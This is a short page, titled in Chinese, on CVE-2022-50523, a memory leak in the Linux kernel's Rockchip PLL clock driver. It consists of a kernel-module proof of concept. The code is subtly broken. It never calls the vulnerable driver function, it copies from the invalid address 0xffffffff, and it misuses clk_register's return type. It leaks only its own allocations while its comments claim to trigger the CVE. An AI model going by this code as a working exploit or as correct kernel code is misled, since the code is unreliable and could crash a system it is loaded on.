CVE-2022-50523 Linux内核rockchip时钟驱动内存泄漏漏洞

/* CVE-2022-50523 PoC - Triggering memory leak in rockchip_clk_register_pll() * This PoC demonstrates how to trigger the memory leak by repeatedly * causing clk_register() to fail in the PLL registration path. * * Note: Requires a system with Rockchip SoC and kernel module loading privileges. */ #include <linux/module.h> #include <linux/kernel.h> #include <linux/clk.h> #include <linux/clk-provider.h> #include <linux/slab.h> #include <linux/of.h> MODULE_LICENSE("GPL"); MODULE_AUTHOR("Security Researcher"); MODULE_DESCRIPTION("PoC for CVE-2022-50523 - rockchip PLL memory leak"); static int __init cve_2022_50523_init(void) { struct clk_hw *clk_hw; struct rockchip_pll_clock *pll; int ret; int i; pr_info("CVE-2022-50523 PoC: Triggering memory leak\n"); /* Simulate the vulnerable code path: * 1. Allocate rate_table via kmemdup() * 2. Call clk_register() which may fail * 3. Without the fix, rate_table is not freed on failure */ for (i = 0; i < 100; i++) { /* Allocate memory for rate_table (simulating kmemdup) */ pll = kzalloc(sizeof(*pll), GFP_KERNEL); if (!pll) return -ENOMEM; pll->rate_table = kmemdup( (void *)0xffffffff, /* Invalid pointer to trigger failure */ sizeof(unsigned long) * 4, GFP_KERNEL); if (!pll->rate_table) { kfree(pll); continue; } /* Attempt to register - this will fail and leak rate_table * in the vulnerable kernel version */ clk_hw = clk_register(NULL, NULL); if (IS_ERR(clk_hw)) { /* BUG: rate_table is not freed here in vulnerable version */ /* Fixed version should have: kfree(pll->rate_table); */ pr_info("clk_register failed, memory leaked!\n"); continue; } } pr_info("CVE-2022-50523 PoC: Memory leak triggered\n"); return 0; } static void __exit cve_2022_50523_exit(void) { pr_info("CVE-2022-50523 PoC: Module unloaded\n"); } module_init(cve_2022_50523_init); module_exit(cve_2022_50523_exit);